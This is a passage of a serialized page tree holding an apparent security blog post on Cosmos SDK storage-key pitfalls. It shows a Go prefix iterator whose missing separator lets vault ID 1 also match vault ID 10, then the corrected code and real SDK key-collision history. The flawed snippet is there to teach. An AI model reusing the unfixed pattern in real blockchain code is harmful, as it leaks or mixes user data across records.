fmt",{"type":23,"tag":75,"props":12875,"children":12876},{"style":94},[12877],{"type":29,"value":557},{"type":23,"tag":75,"props":12879,"children":12880},{"style":88},[12881],{"type":29,"value":9613},{"type":23,"tag":75,"props":12883,"children":12884},{"style":94},[12885],{"type":29,"value":643},{"type":23,"tag":75,"props":12887,"children":12888},{"style":1266},[12889],{"type":29,"value":12890},"\"%s%d\"",{"type":23,"tag":75,"props":12892,"children":12893},{"style":94},[12894],{"type":29,"value":611},{"type":23,"tag":75,"props":12896,"children":12897},{"style":110},[12898],{"type":29,"value":12899},"PositionMapPrefix",{"type":23,"tag":75,"props":12901,"children":12902},{"style":94},[12903],{"type":29,"value":611},{"type":23,"tag":75,"props":12905,"children":12906},{"style":110},[12907],{"type":29,"value":12684},{"type":23,"tag":75,"props":12909,"children":12910},{"style":94},[12911],{"type":29,"value":653},{"type":23,"tag":75,"props":12913,"children":12914},{"class":77,"line":248},[12915],{"type":23,"tag":75,"props":12916,"children":12917},{"style":94},[12918],{"type":29,"value":7152},{"type":23,"tag":75,"props":12920,"children":12921},{"class":77,"line":270},[12922,12926,12931,12936,12940,12945,12949,12953,12957,12962],{"type":23,"tag":75,"props":12923,"children":12924},{"style":175},[12925],{"type":29,"value":711},{"type":23,"tag":75,"props":12927,"children":12928},{"style":94},[12929],{"type":29,"value":12930}," ; ",{"type":23,"tag":75,"props":12932,"children":12933},{"style":110},[12934],{"type":29,"value":12935},"i",{"type":23,"tag":75,"props":12937,"children":12938},{"style":94},[12939],{"type":29,"value":557},{"type":23,"tag":75,"props":12941,"children":12942},{"style":88},[12943],{"type":29,"value":12944},"Valid",{"type":23,"tag":75,"props":12946,"children":12947},{"style":94},[12948],{"type":29,"value":4705},{"type":23,"tag":75,"props":12950,"children":12951},{"style":110},[12952],{"type":29,"value":12935},{"type":23,"tag":75,"props":12954,"children":12955},{"style":94},[12956],{"type":29,"value":557},{"type":23,"tag":75,"props":12958,"children":12959},{"style":88},[12960],{"type":29,"value":12961},"Next",{"type":23,"tag":75,"props":12963,"children":12964},{"style":94},[12965],{"type":29,"value":12966},"() {\n",{"type":23,"tag":75,"props":12968,"children":12969},{"class":77,"line":279},[12970,12975,12979,12984,12988,12993,12997,13001,13005,13010,13014,13019],{"type":23,"tag":75,"props":12971,"children":12972},{"style":110},[12973],{"type":29,"value":12974},"        k",{"type":23,"tag":75,"props":12976,"children":12977},{"style":209},[12978],{"type":29,"value":633},{"type":23,"tag":75,"props":12980,"children":12981},{"style":110},[12982],{"type":29,"value":12983}," strings",{"type":23,"tag":75,"props":12985,"children":12986},{"style":94},[12987],{"type":29,"value":557},{"type":23,"tag":75,"props":12989,"children":12990},{"style":88},[12991],{"type":29,"value":12992},"split",{"type":23,"tag":75,"props":12994,"children":12995},{"style":94},[12996],{"type":29,"value":643},{"type":23,"tag":75,"props":12998,"children":12999},{"style":110},[13000],{"type":29,"value":12935},{"type":23,"tag":75,"props":13002,"children":13003},{"style":94},[13004],{"type":29,"value":557},{"type":23,"tag":75,"props":13006,"children":13007},{"style":88},[13008],{"type":29,"value":13009},"Key",{"type":23,"tag":75,"props":13011,"children":13012},{"style":94},[13013],{"type":29,"value":1471},{"type":23,"tag":75,"props":13015,"children":13016},{"style":110},[13017],{"type":29,"value":13018},"Seperator",{"type":23,"tag":75,"props":13020,"children":13021},{"style":94},[13022],{"type":29,"value":653},{"type":23,"tag":75,"props":13024,"children":13025},{"class":77,"line":303},[13026],{"type":23,"tag":75,"props":13027,"children":13028},{"emptyLinePlaceholder":15},[13029],{"type":29,"value":276},{"type":23,"tag":75,"props":13031,"children":13032},{"class":77,"line":322},[13033,13038,13042,13046,13051,13055,13059,13063,13067,13072,13076,13081,13085,13089],{"type":23,"tag":75,"props":13034,"children":13035},{"style":110},[13036],{"type":29,"value":13037},"        username",{"type":23,"tag":75,"props":13039,"children":13040},{"style":209},[13041],{"type":29,"value":633},{"type":23,"tag":75,"props":13043,"children":13044},{"style":88},[13045],{"type":29,"value":9955},{"type":23,"tag":75,"props":13047,"children":13048},{"style":94},[13049],{"type":29,"value":13050},"([]",{"type":23,"tag":75,"props":13052,"children":13053},{"style":104},[13054],{"type":29,"value":9151},{"type":23,"tag":75,"props":13056,"children":13057},{"style":94},[13058],{"type":29,"value":611},{"type":23,"tag":75,"props":13060,"children":13061},{"style":110},[13062],{"type":29,"value":10028},{"type":23,"tag":75,"props":13064,"children":13065},{"style":94},[13066],{"type":29,"value":557},{"type":23,"tag":75,"props":13068,"children":13069},{"style":88},[13070],{"type":29,"value":13071},"DecodedLen",{"type":23,"tag":75,"props":13073,"children":13074},{"style":94},[13075],{"type":29,"value":643},{"type":23,"tag":75,"props":13077,"children":13078},{"style":110},[13079],{"type":29,"value":13080},"k",{"type":23,"tag":75,"props":13082,"children":13083},{"style":94},[13084],{"type":29,"value":814},{"type":23,"tag":75,"props":13086,"children":13087},{"style":237},[13088],{"type":29,"value":648},{"type":23,"tag":75,"props":13090,"children":13091},{"style":94},[13092],{"type":29,"value":13093},"]))\n",{"type":23,"tag":75,"props":13095,"children":13096},{"class":77,"line":340},[13097,13102,13106,13110,13114,13119,13123,13128,13132,13136,13140,13144,13148,13152],{"type":23,"tag":75,"props":13098,"children":13099},{"style":110},[13100],{"type":29,"value":13101},"        _",{"type":23,"tag":75,"props":13103,"children":13104},{"style":94},[13105],{"type":29,"value":611},{"type":23,"tag":75,"props":13107,"children":13108},{"style":110},[13109],{"type":29,"value":4434},{"type":23,"tag":75,"props":13111,"children":13112},{"style":209},[13113],{"type":29,"value":633},{"type":23,"tag":75,"props":13115,"children":13116},{"style":110},[13117],{"type":29,"value":13118}," hex",{"type":23,"tag":75,"props":13120,"children":13121},{"style":94},[13122],{"type":29,"value":557},{"type":23,"tag":75,"props":13124,"children":13125},{"style":88},[13126],{"type":29,"value":13127},"Decode",{"type":23,"tag":75,"props":13129,"children":13130},{"style":94},[13131],{"type":29,"value":643},{"type":23,"tag":75,"props":13133,"children":13134},{"style":110},[13135],{"type":29,"value":9862},{"type":23,"tag":75,"props":13137,"children":13138},{"style":94},[13139],{"type":29,"value":611},{"type":23,"tag":75,"props":13141,"children":13142},{"style":110},[13143],{"type":29,"value":13080},{"type":23,"tag":75,"props":13145,"children":13146},{"style":94},[13147],{"type":29,"value":814},{"type":23,"tag":75,"props":13149,"children":13150},{"style":237},[13151],{"type":29,"value":648},{"type":23,"tag":75,"props":13153,"children":13154},{"style":94},[13155],{"type":29,"value":13156},"])\n",{"type":23,"tag":75,"props":13158,"children":13159},{"class":77,"line":349},[13160,13164,13168,13172,13176],{"type":23,"tag":75,"props":13161,"children":13162},{"style":175},[13163],{"type":29,"value":2445},{"type":23,"tag":75,"props":13165,"children":13166},{"style":110},[13167],{"type":29,"value":6277},{"type":23,"tag":75,"props":13169,"children":13170},{"style":209},[13171],{"type":29,"value":6282},{"type":23,"tag":75,"props":13173,"children":13174},{"style":82},[13175],{"type":29,"value":6287},{"type":23,"tag":75,"props":13177,"children":13178},{"style":94},[13179],{"type":29,"value":401},{"type":23,"tag":75,"props":13181,"children":13182},{"class":77,"line":363},[13183,13187,13191,13195],{"type":23,"tag":75,"props":13184,"children":13185},{"style":175},[13186],{"type":29,"value":3396},{"type":23,"tag":75,"props":13188,"children":13189},{"style":82},[13190],{"type":29,"value":6287},{"type":23,"tag":75,"props":13192,"children":13193},{"style":94},[13194],{"type":29,"value":611},{"type":23,"tag":75,"props":13196,"children":13197},{"style":110},[13198],{"type":29,"value":8020},{"type":23,"tag":75,"props":13200,"children":13201},{"class":77,"line":656},[13202],{"type":23,"tag":75,"props":13203,"children":13204},{"style":94},[13205],{"type":29,"value":2503},{"type":23,"tag":75,"props":13207,"children":13208},{"class":77,"line":705},[13209],{"type":23,"tag":75,"props":13210,"children":13211},{"emptyLinePlaceholder":15},[13212],{"type":29,"value":276},{"type":23,"tag":75,"props":13214,"children":13215},{"class":77,"line":787},[13216,13221,13225,13229,13233,13237,13241,13245,13249,13253,13257,13261,13265,13269],{"type":23,"tag":75,"props":13217,"children":13218},{"style":110},[13219],{"type":29,"value":13220},"        positionName",{"type":23,"tag":75,"props":13222,"children":13223},{"style":209},[13224],{"type":29,"value":633},{"type":23,"tag":75,"props":13226,"children":13227},{"style":88},[13228],{"type":29,"value":9955},{"type":23,"tag":75,"props":13230,"children":13231},{"style":94},[13232],{"type":29,"value":13050},{"type":23,"tag":75,"props":13234,"children":13235},{"style":104},[13236],{"type":29,"value":9151},{"type":23,"tag":75,"props":13238,"children":13239},{"style":94},[13240],{"type":29,"value":611},{"type":23,"tag":75,"props":13242,"children":13243},{"style":110},[13244],{"type":29,"value":10028},{"type":23,"tag":75,"props":13246,"children":13247},{"style":94},[13248],{"type":29,"value":557},{"type":23,"tag":75,"props":13250,"children":13251},{"style":88},[13252],{"type":29,"value":13071},{"type":23,"tag":75,"props":13254,"children":13255},{"style":94},[13256],{"type":29,"value":643},{"type":23,"tag":75,"props":13258,"children":13259},{"style":110},[13260],{"type":29,"value":13080},{"type":23,"tag":75,"props":13262,"children":13263},{"style":94},[13264],{"type":29,"value":814},{"type":23,"tag":75,"props":13266,"children":13267},{"style":237},[13268],{"type":29,"value":7867},{"type":23,"tag":75,"props":13270,"children":13271},{"style":94},[13272],{"type":29,"value":13093},{"type":23,"tag":75,"props":13274,"children":13275},{"class":77,"line":826},[13276,13280,13284,13288,13292,13296,13300,13304,13308,13312,13316,13320,13324,13328],{"type":23,"tag":75,"props":13277,"children":13278},{"style":110},[13279],{"type":29,"value":13101},{"type":23,"tag":75,"props":13281,"children":13282},{"style":94},[13283],{"type":29,"value":611},{"type":23,"tag":75,"props":13285,"children":13286},{"style":110},[13287],{"type":29,"value":4434},{"type":23,"tag":75,"props":13289,"children":13290},{"style":209},[13291],{"type":29,"value":633},{"type":23,"tag":75,"props":13293,"children":13294},{"style":110},[13295],{"type":29,"value":13118},{"type":23,"tag":75,"props":13297,"children":13298},{"style":94},[13299],{"type":29,"value":557},{"type":23,"tag":75,"props":13301,"children":13302},{"style":88},[13303],{"type":29,"value":13127},{"type":23,"tag":75,"props":13305,"children":13306},{"style":94},[13307],{"type":29,"value":643},{"type":23,"tag":75,"props":13309,"children":13310},{"style":110},[13311],{"type":29,"value":10131},{"type":23,"tag":75,"props":13313,"children":13314},{"style":94},[13315],{"type":29,"value":611},{"type":23,"tag":75,"props":13317,"children":13318},{"style":110},[13319],{"type":29,"value":13080},{"type":23,"tag":75,"props":13321,"children":13322},{"style":94},[13323],{"type":29,"value":814},{"type":23,"tag":75,"props":13325,"children":13326},{"style":237},[13327],{"type":29,"value":7867},{"type":23,"tag":75,"props":13329,"children":13330},{"style":94},[13331],{"type":29,"value":13156},{"type":23,"tag":75,"props":13333,"children":13334},{"class":77,"line":834},[13335,13339,13343,13347,13351],{"type":23,"tag":75,"props":13336,"children":13337},{"style":175},[13338],{"type":29,"value":2445},{"type":23,"tag":75,"props":13340,"children":13341},{"style":110},[13342],{"type":29,"value":6277},{"type":23,"tag":75,"props":13344,"children":13345},{"style":209},[13346],{"type":29,"value":6282},{"type":23,"tag":75,"props":13348,"children":13349},{"style":82},[13350],{"type":29,"value":6287},{"type":23,"tag":75,"props":13352,"children":13353},{"style":94},[13354],{"type":29,"value":401},{"type":23,"tag":75,"props":13356,"children":13357},{"class":77,"line":881},[13358,13362,13366,13370],{"type":23,"tag":75,"props":13359,"children":13360},{"style":175},[13361],{"type":29,"value":3396},{"type":23,"tag":75,"props":13363,"children":13364},{"style":82},[13365],{"type":29,"value":6287},{"type":23,"tag":75,"props":13367,"children":13368},{"style":94},[13369],{"type":29,"value":611},{"type":23,"tag":75,"props":13371,"children":13372},{"style":110},[13373],{"type":29,"value":8020},{"type":23,"tag":75,"props":13375,"children":13376},{"class":77,"line":3355},[13377],{"type":23,"tag":75,"props":13378,"children":13379},{"style":94},[13380],{"type":29,"value":2503},{"type":23,"tag":75,"props":13382,"children":13383},{"class":77,"line":3390},[13384],{"type":23,"tag":75,"props":13385,"children":13386},{"emptyLinePlaceholder":15},[13387],{"type":29,"value":276},{"type":23,"tag":75,"props":13389,"children":13390},{"class":77,"line":3423},[13391,13395,13400,13404,13408,13412,13417,13421,13425,13430,13435,13439],{"type":23,"tag":75,"props":13392,"children":13393},{"style":175},[13394],{"type":29,"value":2445},{"type":23,"tag":75,"props":13396,"children":13397},{"style":110},[13398],{"type":29,"value":13399}," entry",{"type":23,"tag":75,"props":13401,"children":13402},{"style":94},[13403],{"type":29,"value":611},{"type":23,"tag":75,"props":13405,"children":13406},{"style":110},[13407],{"type":29,"value":3078},{"type":23,"tag":75,"props":13409,"children":13410},{"style":209},[13411],{"type":29,"value":633},{"type":23,"tag":75,"props":13413,"children":13414},{"style":110},[13415],{"type":29,"value":13416}," values",{"type":23,"tag":75,"props":13418,"children":13419},{"style":94},[13420],{"type":29,"value":814},{"type":23,"tag":75,"props":13422,"children":13423},{"style":110},[13424],{"type":29,"value":9862},{"type":23,"tag":75,"props":13426,"children":13427},{"style":94},[13428],{"type":29,"value":13429},"]; ",{"type":23,"tag":75,"props":13431,"children":13432},{"style":209},[13433],{"type":29,"value":13434},"!",{"type":23,"tag":75,"props":13436,"children":13437},{"style":110},[13438],{"type":29,"value":3078},{"type":23,"tag":75,"props":13440,"children":13441},{"style":94},[13442],{"type":29,"value":401},{"type":23,"tag":75,"props":13444,"children":13445},{"class":77,"line":3436},[13446,13451,13455,13459,13464,13468,13472,13476,13480,13484,13488],{"type":23,"tag":75,"props":13447,"children":13448},{"style":110},[13449],{"type":29,"value":13450},"            values",{"type":23,"tag":75,"props":13452,"children":13453},{"style":94},[13454],{"type":29,"value":814},{"type":23,"tag":75,"props":13456,"children":13457},{"style":110},[13458],{"type":29,"value":9862},{"type":23,"tag":75,"props":13460,"children":13461},{"style":94},[13462],{"type":29,"value":13463},"] ",{"type":23,"tag":75,"props":13465,"children":13466},{"style":209},[13467],{"type":29,"value":212},{"type":23,"tag":75,"props":13469,"children":13470},{"style":88},[13471],{"type":29,"value":9955},{"type":23,"tag":75,"props":13473,"children":13474},{"style":94},[13475],{"type":29,"value":643},{"type":23,"tag":75,"props":13477,"children":13478},{"style":82},[13479],{"type":29,"value":1847},{"type":23,"tag":75,"props":13481,"children":13482},{"style":94},[13483],{"type":29,"value":814},{"type":23,"tag":75,"props":13485,"children":13486},{"style":104},[13487],{"type":29,"value":9559},{"type":23,"tag":75,"props":13489,"children":13490},{"style":94},[13491],{"type":29,"value":13156},{"type":23,"tag":75,"props":13493,"children":13494},{"class":77,"line":3449},[13495],{"type":23,"tag":75,"props":13496,"children":13497},{"style":94},[13498],{"type":29,"value":2503},{"type":23,"tag":75,"props":13500,"children":13501},{"class":77,"line":3457},[13502],{"type":23,"tag":75,"props":13503,"children":13504},{"emptyLinePlaceholder":15},[13505],{"type":29,"value":276},{"type":23,"tag":75,"props":13507,"children":13508},{"class":77,"line":3465},[13509,13514,13518,13522,13527,13531,13535,13539,13543],{"type":23,"tag":75,"props":13510,"children":13511},{"style":110},[13512],{"type":29,"value":13513},"        values",{"type":23,"tag":75,"props":13515,"children":13516},{"style":94},[13517],{"type":29,"value":814},{"type":23,"tag":75,"props":13519,"children":13520},{"style":110},[13521],{"type":29,"value":9862},{"type":23,"tag":75,"props":13523,"children":13524},{"style":94},[13525],{"type":29,"value":13526},"][",{"type":23,"tag":75,"props":13528,"children":13529},{"style":110},[13530],{"type":29,"value":10131},{"type":23,"tag":75,"props":13532,"children":13533},{"style":94},[13534],{"type":29,"value":13463},{"type":23,"tag":75,"props":13536,"children":13537},{"style":209},[13538],{"type":29,"value":212},{"type":23,"tag":75,"props":13540,"children":13541},{"style":110},[13542],{"type":29,"value":9460},{"type":23,"tag":75,"props":13544,"children":13545},{"style":94},[13546],{"type":29,"value":401},{"type":23,"tag":75,"props":13548,"children":13549},{"class":77,"line":3473},[13550,13555,13559,13564,13568,13573],{"type":23,"tag":75,"props":13551,"children":13552},{"style":110},[13553],{"type":29,"value":13554},"            data",{"type":23,"tag":75,"props":13556,"children":13557},{"style":94},[13558],{"type":29,"value":863},{"type":23,"tag":75,"props":13560,"children":13561},{"style":110},[13562],{"type":29,"value":13563},"iterator",{"type":23,"tag":75,"props":13565,"children":13566},{"style":94},[13567],{"type":29,"value":557},{"type":23,"tag":75,"props":13569,"children":13570},{"style":88},[13571],{"type":29,"value":13572},"Value",{"type":23,"tag":75,"props":13574,"children":13575},{"style":94},[13576],{"type":29,"value":2580},{"type":23,"tag":75,"props":13578,"children":13579},{"class":77,"line":3481},[13580],{"type":23,"tag":75,"props":13581,"children":13582},{"style":94},[13583],{"type":29,"value":2503},{"type":23,"tag":75,"props":13585,"children":13586},{"class":77,"line":3524},[13587],{"type":23,"tag":75,"props":13588,"children":13589},{"style":94},[13590],{"type":29,"value":346},{"type":23,"tag":75,"props":13592,"children":13593},{"class":77,"line":4890},[13594,13598],{"type":23,"tag":75,"props":13595,"children":13596},{"style":175},[13597],{"type":29,"value":355},{"type":23,"tag":75,"props":13599,"children":13600},{"style":110},[13601],{"type":29,"value":13602}," values\n",{"type":23,"tag":75,"props":13604,"children":13605},{"class":77,"line":4937},[13606],{"type":23,"tag":75,"props":13607,"children":13608},{"style":94},[13609],{"type":29,"value":369},{"type":23,"tag":32,"props":13611,"children":13612},{},[13613,13615,13621,13622,13628,13630,13635,13637,13642,13644,13649,13651,13657,13659,13665],{"type":29,"value":13614},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":71,"props":13616,"children":13618},{"className":13617},[],[13619],{"type":29,"value":13620},"vaultId = 1",{"type":29,"value":2721},{"type":23,"tag":71,"props":13623,"children":13625},{"className":13624},[],[13626],{"type":29,"value":13627},"vaultId = 10",{"type":29,"value":13629}," coexist. If we try to fetch data under ",{"type":23,"tag":71,"props":13631,"children":13633},{"className":13632},[],[13634],{"type":29,"value":13620},{"type":29,"value":13636},", all entries under ",{"type":23,"tag":71,"props":13638,"children":13640},{"className":13639},[],[13641],{"type":29,"value":13627},{"type":29,"value":13643}," will also be returned simply because ",{"type":23,"tag":71,"props":13645,"children":13647},{"className":13646},[],[13648],{"type":29,"value":7867},{"type":29,"value":13650}," is a prefix of ",{"type":23,"tag":71,"props":13652,"children":13654},{"className":13653},[],[13655],{"type":29,"value":13656},"10",{"type":29,"value":13658},". To fix this, we must once again append the ",{"type":23,"tag":71,"props":13660,"children":13662},{"className":13661},[],[13663],{"type":29,"value":13664},"Separator",{"type":29,"value":13666}," to the iterator prefix.",{"type":23,"tag":64,"props":13668,"children":13670},{"code":13669,"language":373,"meta":7,"className":374,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[13671],{"type":23,"tag":71,"props":13672,"children":13673},{"__ignoreMap":7},[13674,13701,13713,13766],{"type":23,"tag":75,"props":13675,"children":13676},{"class":77,"line":78},[13677,13681,13685,13689,13693,13697],{"type":23,"tag":75,"props":13678,"children":13679},{"style":110},[13680],{"type":29,"value":12935},{"type":23,"tag":75,"props":13682,"children":13683},{"style":209},[13684],{"type":29,"value":633},{"type":23,"tag":75,"props":13686,"children":13687},{"style":110},[13688],{"type":29,"value":2951},{"type":23,"tag":75,"props":13690,"children":13691},{"style":94},[13692],{"type":29,"value":557},{"type":23,"tag":75,"props":13694,"children":13695},{"style":88},[13696],{"type":29,"value":12849},{"type":23,"tag":75,"props":13698,"children":13699},{"style":94},[13700],{"type":29,"value":97},{"type":23,"tag":75,"props":13702,"children":13703},{"class":77,"line":100},[13704,13709],{"type":23,"tag":75,"props":13705,"children":13706},{"style":110},[13707],{"type":29,"value":13708},"    kvStore",{"type":23,"tag":75,"props":13710,"children":13711},{"style":94},[13712],{"type":29,"value":118},{"type":23,"tag":75,"props":13714,"children":13715},{"class":77,"line":121},[13716,13721,13725,13729,13733,13738,13742,13746,13750,13754,13758,13762],{"type":23,"tag":75,"props":13717,"children":13718},{"style":110},[13719],{"type":29,"value":13720},"    fmt",{"type":23,"tag":75,"props":13722,"children":13723},{"style":94},[13724],{"type":29,"value":557},{"type":23,"tag":75,"props":13726,"children":13727},{"style":88},[13728],{"type":29,"value":9613},{"type":23,"tag":75,"props":13730,"children":13731},{"style":94},[13732],{"type":29,"value":643},{"type":23,"tag":75,"props":13734,"children":13735},{"style":1266},[13736],{"type":29,"value":13737},"\"%s%d%s\"",{"type":23,"tag":75,"props":13739,"children":13740},{"style":94},[13741],{"type":29,"value":611},{"type":23,"tag":75,"props":13743,"children":13744},{"style":110},[13745],{"type":29,"value":12899},{"type":23,"tag":75,"props":13747,"children":13748},{"style":94},[13749],{"type":29,"value":611},{"type":23,"tag":75,"props":13751,"children":13752},{"style":110},[13753],{"type":29,"value":12684},{"type":23,"tag":75,"props":13755,"children":13756},{"style":94},[13757],{"type":29,"value":611},{"type":23,"tag":75,"props":13759,"children":13760},{"style":110},[13761],{"type":29,"value":13018},{"type":23,"tag":75,"props":13763,"children":13764},{"style":94},[13765],{"type":29,"value":1792},{"type":23,"tag":75,"props":13767,"children":13768},{"class":77,"line":138},[13769],{"type":23,"tag":75,"props":13770,"children":13771},{"style":94},[13772],{"type":29,"value":653},{"type":23,"tag":32,"props":13774,"children":13775},{},[13776,13778,13783],{"type":29,"value":13777},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":71,"props":13779,"children":13781},{"className":13780},[],[13782],{"type":29,"value":9365},{"type":29,"value":13784}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":32,"props":13786,"children":13787},{},[13788],{"type":29,"value":13789},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":923,"props":13791,"children":13793},{"id":13792},"real-world-examples-5",[13794],{"type":29,"value":928},{"type":23,"tag":32,"props":13796,"children":13797},{},[13798,13799,13804,13806,13813,13815,13821],{"type":29,"value":2846},{"type":23,"tag":71,"props":13800,"children":13802},{"className":13801},[],[13803],{"type":29,"value":2766},{"type":29,"value":13805}," previously lacked protection against KVStore ",{"type":23,"tag":940,"props":13807,"children":13810},{"href":13808,"rel":13809},"https://github.com/cosmos/cosmos-sdk/pull/9363",[944],[13811],{"type":29,"value":13812},"key collisions",{"type":29,"value":13814},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":71,"props":13816,"children":13818},{"className":13817},[],[13819],{"type":29,"value":13820},"KVStores",{"type":29,"value":13822}," that were not independent of each other.",{"type":23,"tag":32,"props":13824,"children":13825},{},[13826],{"type":23,"tag":940,"props":13827,"children":13830},{"href":13828,"rel":13829},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[944],[13831],{"type":29,"value":982},{"type":23,"tag":64,"props":13833,"children":13835},{"code":13834,"language":373,"meta":7,"className":374,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[13836],{"type":23,"tag":71,"props":13837,"children":13838},{"__ignoreMap":7},[13839,13902,13950,13987,14027,14034,14041,14053],{"type":23,"tag":75,"props":13840,"children":13841},{"class":77,"line":78},[13842,13846,13851,13855,13860,13865,13869,13873,13877,13881,13885,13889,13893,13898],{"type":23,"tag":75,"props":13843,"children":13844},{"style":82},[13845],{"type":29,"value":512},{"type":23,"tag":75,"props":13847,"children":13848},{"style":88},[13849],{"type":29,"value":13850}," NewKVStoreKeys",{"type":23,"tag":75,"props":13852,"children":13853},{"style":94},[13854],{"type":29,"value":643},{"type":23,"tag":75,"props":13856,"children":13857},{"style":110},[13858],{"type":29,"value":13859},"names",{"type":23,"tag":75,"props":13861,"children":13862},{"style":209},[13863],{"type":29,"value":13864}," ...",{"type":23,"tag":75,"props":13866,"children":13867},{"style":104},[13868],{"type":29,"value":1605},{"type":23,"tag":75,"props":13870,"children":13871},{"style":94},[13872],{"type":29,"value":167},{"type":23,"tag":75,"props":13874,"children":13875},{"style":82},[13876],{"type":29,"value":1847},{"type":23,"tag":75,"props":13878,"children":13879},{"style":94},[13880],{"type":29,"value":814},{"type":23,"tag":75,"props":13882,"children":13883},{"style":104},[13884],{"type":29,"value":1605},{"type":23,"tag":75,"props":13886,"children":13887},{"style":94},[13888],{"type":29,"value":1610},{"type":23,"tag":75,"props":13890,"children":13891},{"style":209},[13892],{"type":29,"value":601},{"type":23,"tag":75,"props":13894,"children":13895},{"style":104},[13896],{"type":29,"value":13897},"KVStoreKey",{"type":23,"tag":75,"props":13899,"children":13900},{"style":94},[13901],{"type":29,"value":401},{"type":23,"tag":75,"props":13903,"children":13904},{"class":77,"line":100},[13905,13910,13914,13918,13922,13926,13930,13934,13938,13942,13946],{"type":23,"tag":75,"props":13906,"children":13907},{"style":110},[13908],{"type":29,"value":13909},"    keys",{"type":23,"tag":75,"props":13911,"children":13912},{"style":209},[13913],{"type":29,"value":633},{"type":23,"tag":75,"props":13915,"children":13916},{"style":88},[13917],{"type":29,"value":9955},{"type":23,"tag":75,"props":13919,"children":13920},{"style":94},[13921],{"type":29,"value":643},{"type":23,"tag":75,"props":13923,"children":13924},{"style":82},[13925],{"type":29,"value":1847},{"type":23,"tag":75,"props":13927,"children":13928},{"style":94},[13929],{"type":29,"value":814},{"type":23,"tag":75,"props":13931,"children":13932},{"style":104},[13933],{"type":29,"value":1605},{"type":23,"tag":75,"props":13935,"children":13936},{"style":94},[13937],{"type":29,"value":1610},{"type":23,"tag":75,"props":13939,"children":13940},{"style":209},[13941],{"type":29,"value":601},{"type":23,"tag":75,"props":13943,"children":13944},{"style":104},[13945],{"type":29,"value":13897},{"type":23,"tag":75,"props":13947,"children":13948},{"style":94},[13949],{"type":29,"value":653},{"type":23,"tag":75,"props":13951,"children":13952},{"class":77,"line":121},[13953,13957,13961,13965,13970,13974,13978,13983],{"type":23,"tag":75,"props":13954,"children":13955},{"style":175},[13956],{"type":29,"value":711},{"type":23,"tag":75,"props":13958,"children":13959},{"style":110},[13960],{"type":29,"value":2062},{"type":23,"tag":75,"props":13962,"children":13963},{"style":94},[13964],{"type":29,"value":611},{"type":23,"tag":75,"props":13966,"children":13967},{"style":110},[13968],{"type":29,"value":13969},"name",{"type":23,"tag":75,"props":13971,"children":13972},{"style":209},[13973],{"type":29,"value":633},{"type":23,"tag":75,"props":13975,"children":13976},{"style":175},[13977],{"type":29,"value":1681},{"type":23,"tag":75,"props":13979,"children":13980},{"style":110},[13981],{"type":29,"value":13982}," names",{"type":23,"tag":75,"props":13984,"children":13985},{"style":94},[13986],{"type":29,"value":401},{"type":23,"tag":75,"props":13988,"children":13989},{"class":77,"line":138},[13990,13994,13998,14002,14006,14010,14015,14019,14023],{"type":23,"tag":75,"props":13991,"children":13992},{"style":110},[13993],{"type":29,"value":1977},{"type":23,"tag":75,"props":13995,"children":13996},{"style":94},[13997],{"type":29,"value":814},{"type":23,"tag":75,"props":13999,"children":14000},{"style":110},[14001],{"type":29,"value":13969},{"type":23,"tag":75,"props":14003,"children":14004},{"style":94},[14005],{"type":29,"value":13463},{"type":23,"tag":75,"props":14007,"children":14008},{"style":209},[14009],{"type":29,"value":212},{"type":23,"tag":75,"props":14011,"children":14012},{"style":88},[14013],{"type":29,"value":14014}," NewKVStoreKey",{"type":23,"tag":75,"props":14016,"children":14017},{"style":94},[14018],{"type":29,"value":643},{"type":23,"tag":75,"props":14020,"children":14021},{"style":110},[14022],{"type":29,"value":13969},{"type":23,"tag":75,"props":14024,"children":14025},{"style":94},[14026],{"type":29,"value":653},{"type":23,"tag":75,"props":14028,"children":14029},{"class":77,"line":161},[14030],{"type":23,"tag":75,"props":14031,"children":14032},{"style":94},[14033],{"type":29,"value":346},{"type":23,"tag":75,"props":14035,"children":14036},{"class":77,"line":196},[14037],{"type":23,"tag":75,"props":14038,"children":14039},{"emptyLinePlaceholder":15},[14040],{"type":29,"value":276},{"type":23,"tag":75,"props":14042,"children":14043},{"class":77,"line":220},[14044,14048],{"type":23,"tag":75,"props":14045,"children":14046},{"style":175},[14047],{"type":29,"value":355},{"type":23,"tag":75,"props":14049,"children":14050},{"style":110},[14051],{"type":29,"value":14052}," keys\n",{"type":23,"tag":75,"props":14054,"children":14055},{"class":77,"line":248},[14056],{"type":23,"tag":75,"props":14057,"children":14058},{"style":94},[14059],{"type":29,"value":369},{"type":23,"tag":32,"props":14061,"children":14062},{},[14063,14065,14070,14072,14077,14079,14084],{"type":29,"value":14064},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":71,"props":14066,"children":14068},{"className":14067},[],[14069],{"type":29,"value":2766},{"type":29,"value":14071}," will refuse to run if any ",{"type":23,"tag":71,"props":14073,"children":14075},{"className":14074},[],[14076],{"type":29,"value":9365},{"type":29,"value":14078}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":71,"props":14080,"children":14082},{"className":14081},[],[14083],{"type":29,"value":9365},{"type":29,"value":14085}," level.",{"type":23,"tag":32,"props":14087,"children":14088},{},[14089,14091,14098],{"type":29,"value":14090},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":940,"props":14092,"children":14095},{"href":14093,"rel":14094},"https://github.com/cosmos/cosmos-sdk/issues/12661",[944],[14096],{"type":29,"value":14097},"incorrect iterator behavior",{"type":29,"value":557},{"type":23,"tag":32,"props":14100,"children":14101},{},[14102,14104,14111],{"type":29,"value":14103},"Notably, gradual adoption of the 